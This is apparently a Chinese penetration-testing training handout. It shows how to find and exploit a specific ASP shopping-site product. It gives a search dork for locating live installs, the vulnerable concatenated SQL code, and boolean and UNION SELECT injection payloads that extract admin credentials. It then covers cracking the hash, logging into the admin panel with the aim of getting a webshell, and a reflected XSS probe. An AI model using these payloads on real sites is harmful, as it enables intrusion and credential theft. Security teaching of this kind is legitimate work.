米斯特白帽培訓(xùn)講義 實(shí)戰(zhàn)篇 南方 0day
講師:gh0stkey
整理:飛龍
協(xié)議:CC BY-NC-SA 4.0
搜索
關(guān)鍵詞:inurl:"HomeMarket.asp"。
下載與部署
http://www.jb51.net/article/5336.htm
SQL 注入
我們打算檢測(cè)其中的 SQL 注入漏洞,由于 ASP 代碼基本沒有什么好的過濾,一般一查一個(gè)準(zhǔn)。為了搜索 SQL 注入漏洞,我們可以使用sql、conn這類名稱、或者execute這類函數(shù)來定位到數(shù)據(jù)庫查詢低嗎位置。
比如在NewsType.asp的 14 ~ 32 行,我們發(fā)現(xiàn)了:
<%
' ...
BigClass=request("BigClass")
SmallClass=request("SmallClass")
' ...
%>
<%
if BigClass<>"" and SmallClass<>"" then
sql="select * from News where BigClassName='"& BigClass &"' and SmallClassName='"& SmallClass &"' order by AddDate desc"
set rs=conn.execute(sql)
do while not rs.eof
%>
我們看到這是文本型的參數(shù),也就是說我們注入的時(shí)候要想辦法閉合單引號(hào)。而且它用的是 Access 數(shù)據(jù)庫,我們沒辦法像 MySQL 和 SQLServer 那樣使用--來注釋。
我們照舊為SmallClass輸入' and '1'='1,構(gòu)造的 URL 為NewsType.asp?SmallClass=%27%20and%20%271%27=%271,發(fā)現(xiàn)正常。

輸入' and '1'='2,構(gòu)造的 URL 為NewsType.asp?SmallClass=%27%20and%20%271%27=%272,發(fā)現(xiàn)錯(cuò)誤。

接下來我們查看源碼目錄下的Databases/0791idc.mdb,知道了News表一共有十個(gè)字段。
之后輸入' and 1=2 union select 1,2,3,4,5,6,7,8,9,0 from admin where '1'='1,發(fā)現(xiàn)顯示 2 和 9:

之后就很簡(jiǎn)單了,我們先看看admin表里面的用戶名和密碼都叫做啥。我們把 2 替換為username,9 替換為password。

然后把f3a976c77dc7264c送到 pmd5 解密,結(jié)果為060618。
之后可以從/admin訪問后臺(tái),登錄并繼續(xù)拿 WebShell。
XSS
我們點(diǎn)擊網(wǎng)站右上角的“聯(lián)系我們”,可以發(fā)現(xiàn)這個(gè)頁面的 URL 中出現(xiàn)了這四個(gè)字,頁面中也出現(xiàn)了這四個(gè)字。

然后我們把 URL 中的Title參數(shù)改成1:

這就提示我們這里面可能會(huì)出現(xiàn) XSS,我們改成<script>alert(1)</script>:

我們看到源代碼中出現(xiàn)了這個(gè)東西。